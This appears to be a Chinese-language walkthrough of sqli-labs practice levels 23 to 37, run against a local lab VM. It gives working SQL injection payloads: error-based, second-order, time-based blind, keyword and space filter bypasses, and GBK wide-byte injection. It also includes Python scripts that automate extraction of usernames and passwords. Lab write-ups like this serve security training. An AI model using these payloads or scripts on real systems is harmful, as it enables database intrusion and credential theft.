【sqli-labs】 page-2 Less 23-37
sqli-labs 1-65
WAF 绕过
Less-23
漏洞验证
http://192.168.124.16:8080/Less-23/?id=1' # 错误
http://192.168.124.16:8080/Less-23/?id=1' # 正确
报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
可以确定单引号闭合
但似乎 -- 和 # 没有效果
?id=1' --+ # 错误
?id=1' # # 错误
报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
可以看到,报错信息出现' LIMIT 0,1
,明显没有被注释掉,可能这两种注释符都在黑名单里
输入单引号报错,意味着单引号没有被屏蔽,验证
?id=1' and 1='1 # 正确
?id=1' and 1='0 # 无任何显示
payload
# 爆库
?id=1' and updatexml(1,concat(1,database()),1) and 1='1
# 爆表
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and 1='1
# 爆字段
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name="users")),1) and 1='1
# 脱库,似乎对输出类容进行长度限制,通过 where 语句分批输出
# 前 4 个
?id=1' and updatexml(1,concat(1,(select group_concat(username) from users where id <5 )),1) and 1='1
# 5 - 8
?id=1' and updatexml(1,concat(1,(select group_concat(username) from users where id>=5 and id<9)),1) and 1='1
# 9 - 13
?id=1' and updatexml(1,concat(1,(select group_concat(username) from users where id>=9 and id<14)),1) and 1='1
# 14 -
?id=1' and updatexml(1,concat(1,(select group_concat(username) from users where id>=14)),1) and 1='1
# password 同 username
Less-24 二阶注入
一共三个页面,第一个是登录页面,登录进去可以修改密码;第二个是忘记密码页面,不可用;第三个是注册页面
先讲步骤,再讲原理
1)注册 admin' #,密码:1234
2)登录 admin' #,密码:1234
3)修改 admin' # 密码为:123456
4)退出 admin' #
5)登录 admin,密码:123456
步骤图解:
1)注册 admin' #,密码:1234
2)登录 admin' #,密码:1234
3)修改 admin' # 密码为:123456
4)退出 admin' #
5)登录 admin,密码:123456
成功登录
原理
核心代码(修改密码)
# 这行代码中,只有旧密码和新密码可控,username 字段不受我们控制
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
修改 admin' # 的密码时,SQL 语句为
UPDATE users SET PASSWORD='123456' where username='admin' #' and password='1234'
# 实际上执行的语句为
UPDATE users SET PASSWORD='123456' where username='admin'
为了执行这个效果,我们首先注册一个 admin' # 账户(相当于为了这碟醋,包了这盘饺子)
1)注册 admin' # 账户
2)通过 admin' # 执行下一步操作
一共两步,也叫二阶
Less-25
页面很明确的说明,屏蔽了 and、or
?id=1' and 1=1 --+
页面最下面会有过滤过后的 id
Hint: Your Input is Filtered with following result: 1 1=1 --
可以看见 and 被替换为空,经过测试发现,大小写都会被替换为空
绕过方法
?id=1' aandnd 1=1 --+ # 双写绕过
?id=0' oorr 1=1 --+
payload
# 爆库
?id=0' oorr updatexml(1,concat(1,database()),1) --+ # or 方法
?id=1' aandnd updatexml(1,concat(1,database()),1) --+ # and 方法
Less-25a
数字型,其余跟 Less-25 一样
Less-26
黑名单:空格、--、#、/*
# 报错注入
# %26 是 &
?id=1'%26%26updatexml(1,concat(1,database()),1)%26%261='1
# 双写绕过,空格替代
?id=1'%a0anandd%a0updatexml(1,concat(1,database()),1)%a0anandd%a01='1
# 利用规则绕过,这个跟后端验证代码顺序有关
?id=1'%a0an--d%a0updatexml(1,concat(1,database()),1)%a0an--d%a01='1 # and ---> a--nd
/?id=1'%a0an#d%a0updatexml(1,concat(1,database()),1)%a0an#d%a01='1 # and ---> a#nd
?id=1'%a0an/*d%a0updatexml(1,concat(1,database()),1)%a0an/*d%a01='1 # and ---> an/*d
Less-26a
')
闭合,其余与 Less-26 一致
# 基于回显注入
# 爆表,注意 information 中间有个 or
?id=0'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0anandd%a01='1
Less-27
页面提示 union 和 select 被禁用
黑名单:空格、--、#、/*、union select
?id=1' # 返回报错信息
payload
# 报错注入
?id=1'and%a0updatexml(1,concat(1,database()),1)%a0and%a01='1
Less-27a
没有报错信息,但 sleep 函数可用
?id=1'%a0and%a0sleep(4)%a0and%a01='1 # sleep 函数可以使用
payload
?id=1"and%a0if(substr(database(),1,1)='s',sleep(5),0)%a0and%a01="1 # 有明显延迟感受
?id=1'%a0and%a0if(substr((seLect%a0group_concat(database(),1,1)='s',sleep(0.2),0)%a0and%a01='1
python 脚本
半自动化
import requests
import string
import time
url = 'http://192.168.124.16:8080/Less-27a/'
# letter = string.printable # 包含特殊字符、数字、大小写字母
# 生成由小写字母、特殊符号、数字组成的字符串(这个顺序是我查看 sqli-lab 数据库得出来得,这个顺序比上面那个快一点)
# sql 特性:大小写不敏感
# 但 ascii 码大小写敏感,由于 - 被屏蔽,因此,脚本部分使用 ascii 码
letter = string.ascii_lowercase + string.punctuation + string.digits+string.ascii_uppercase
index = 1
st = ''
while True:
limit = 1 # 防止死循环
for i in letter:
## 爆库
# data = f'?id=1"and%a0if(substr(database(),{index},1)="{i}",sleep(0.3),0)%a0and%a01="1'
# # 爆表
# data = f'?id=1"and%a0if(substr((SeleCt%a0group_concat(table_name)%a0' \
# f'from%a0information_schema.tables%a0where%a0table_schema=database()),{index},1)="{i}",sleep(0.2),0)%a0and%a01="1'
# # 爆字段
# data = f'?id=1"and%a0if(substr((SeleCt%a0group_concat(column_name)%a0' \
# f'from%a0information_schema.columns%a0where%a0table_name="users"),{index},1)="{i}",sleep(0.2),0)%a0and%a01="1'
# # 枚举所有 password,由于 - 会被屏蔽,此处用 ascii 码进行判断
# i = ord(i)
# data = f'?id=1"%a0and%a0if(ascii(substr((SeleCt%a0group_concat(password)%a0from%a0users),{index},1))={i},sleep(0.2),0)%a0and%a01="1'
# i = chr(i)
# # 枚举所有 username
# data = f'?id=1"%a0and%a0if(substr((SeleCt%a0group_concat(username)%a0from%a0users),{index},1)="{i}",sleep(0.2),0)%a0and%a01="1'
start_time = time.perf_counter() # 执行开始时间
respond = requests.get(url+data) # 获取页面代码
respond = respond.text # 解析成字符串类型
end_time = time.perf_counter() # 执行结束时间
if end_time-start_time>=0.2:
st += i # 获取正确值
limit = 0 # 代表 st 长度变化,如果 st 长度没有变化,可能是库被跑完了
print(f'[+]----------------位数:{index:>3}位:{i} 正确,{st}')
index += 1 # 下一位
break
if st.count('*') > 10:break # * 在 sql 中被作为通配符,超过十个,可以认为跑完了
if limit == 1: break # 防止死循环
print(st)
优化,自动化
import requests
import string
import time
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-27a/' # 改成你的 IP
# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.punctuation + string.digits+string.ascii_uppercase + '1234567'
index,key_index = 1,0 # 初始位
dic = {'database':['',True,{'name':'database()','From':'','where':''}],
'table':['',True,{'name':"table_name",'From':"from%a0information_schema.tables",'where':"where%a0table_schema=database()"}],
'column':['',True,{'name':"column_name",'From':"from%a0information_schema.columns",'where':"where%a0table_name='{table}'"}],
'password':['',True,{'name':"password",'From':"from%a0{table}",'where':''}],
'username':['',True,{'name':"username",'From':"from%a0{table}",'where':''}]
}
keys = list(dic.keys())
def payload(name,From,where,index,i):
i = ord(i)
data = f'?id=1"%a0and%a0if(ascii(substr((seLect%a0group_concat({name})%a0{From}%a0{where}),{index},1))={i},sleep(0.2),0)%a0and%a01="1'
return data
while True:
mark = True # 标记,防止死循环
num = 0
# 获取最后一张表的表名
if dic['table'][1] == False:table = dic['table'][0].split(',')[-1]
# 代表 库、表、字段、值 全部获取完毕,打印输出
if key_index == 5:
database = dic['database'][0]
print('\r',end='')
for i in dic:
print(f'[+] {f"your {i}" if i=="database" else f"all {i} in your {database} database" if i=="table" else f"all {i} in your {table} table"}:{dic[i][0]}')
exit()
# 组装 payload
for i in letter:
num += 1
if dic[keys[key_index]][2]:
# 替换 payload 中的表名
end = list(dic[keys[key_index]][2].keys())
if '{table}' in dic[keys[key_index]][2][end[-1]]:
dic[keys[key_index]][2][end[-1]] = dic[keys[key_index]][2][end[-1]].replace('{table}',table)
elif '{table}' in dic[keys[key_index]][2][end[-2]]:
dic[keys[key_index]][2][end[-2]] = dic[keys[key_index]][2][end[-2]].replace('{table}', table)
# 获取 payload
data = payload(*dic[keys[key_index]][2].values(),index=index,i=i)
time_start = time.perf_counter()
respond = requests.get(url+data) # 获取页面代码
respond = respond.text # 解析成字符串类型
time_end = time.perf_counter()
if time_end - time_start>0.2:
dic[keys[key_index]][0] += i
print('\r',dic[keys[key_index]][0],end = '')
index += 1 # 下一位
mark = False # 防止死循环
break
if num>95: #
dic[keys[key_index]][1] = False
index,num,mark = 1,0,False # 重置
key_index += 1
break
if mark:exit('错误') # 防止死循环
Less-28
')
闭合,没有报错信息,只能使用联合注入,但 union、select 被屏蔽
黑名单:空格、--、#、/*、union select
payload
# 确定使用字段
?id=0')%a0union%a0select%a01,2,3%a0and%a01=('1
# 后续就是常规爆库爆表
Less-28a
黑名单:union select
黑名单去掉很多,甚至就保留了这一条,难度比 Less-28 低多了
$id= preg_replace('/union\s+select/i',"", $id);
Less-29
无黑名单,单引号闭合跟 Less-1 一样
Less-30
无报错信息,单引号闭合,难度跟 Less-2 一致
Less-31
有报错信息,')
闭合
宽字节注入
宽字节:字符大小大 ≥ 2 字节
1、编码
GBK系列、UTF系列
8 位 = 1 字节
1)GBK 系列
- 定长(16位)
- 我国针对汉字提出的编码
2)UTF 系列:
- 变长。UTF-8(8位、16位、24位、32位)、UTF-16(16位、32位)、UTF-32(32位)
- 全球通用编码,包含全球文字
UTF-8
字节数 | 使用范围 |
---|---|
1 字节 | 数字、字母 |
2 字节 | 带有附加符号的拉丁文、希腊文、西里尔字母、亚美尼亚语、希伯来文、阿拉伯文、叙利亚文及它拿字母 |
3 字节 | 汉字,基本等同 GBK(UTF-8 与 GBK 需要转换) |
4 字节 | 中日韩超大字符集里面的汉字 |
如何确保三个字节代表汉字,不会被识别为三个数字/字母(字符)(宽字节注入是将两/三个字节识别成一个字符)
2、数据处理流程
页面提交数据(php 客户端)---------> php 服务器 ---------> sql 服务器
我们的过滤就在 php 服务器
如果 php 的服务器和客服端与 sql 服务器不是用的同一字符集(一个 UTF-8、一个 GBK),那么可以利用两种字符集的不同之处绕过黑名单
Less-32
特殊符号被转义,页面最下方有提示
payload
# 宽字节注入
?id=1%df' and updatexml(1,concat(1,database()),1) --+
源代码
# 后面的题都有下面这句代码
mysql_query("SET NAMES gbk"); # 设置 gbk
Less-33
同 Less-32,两题代码不同,效果相同
# 32
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
# 33
$string= addslashes($string);
Less-34
GET 变成 POST
方法一
1)我们还是用%DF'
username: 1%DF'
password: 1
页面最下方,可以看见 %df 被显示出来
Hint: The Username you input is escaped as : 1ß\'
2)抓包看看
F12,提交username: 1%DF' password: 1
查看请求体,可以看见,%DF' 被编码为 %C3%9F
3)我们将 %C3%9F 修改为 %DF
4)可以看见报错信息,然后常规爆库爆表
方法二
username: 字\' and 1=1 #
password: 1
有效,常规爆库爆表
# 爆库
username: 字' and updatexml(1,concat(1,database()),1) #
password: 1
Less-35
字符型中突然出现数字型,有点坑
数字型
Less-36
有报错、有回显
$string= mysql_real_escape_string($string); # 转义 SQL 语句中使用的字符串中的特殊字符
mysql_query("SET NAMES gbk"); # 设置使用 gbk
Less-37
同 Less-34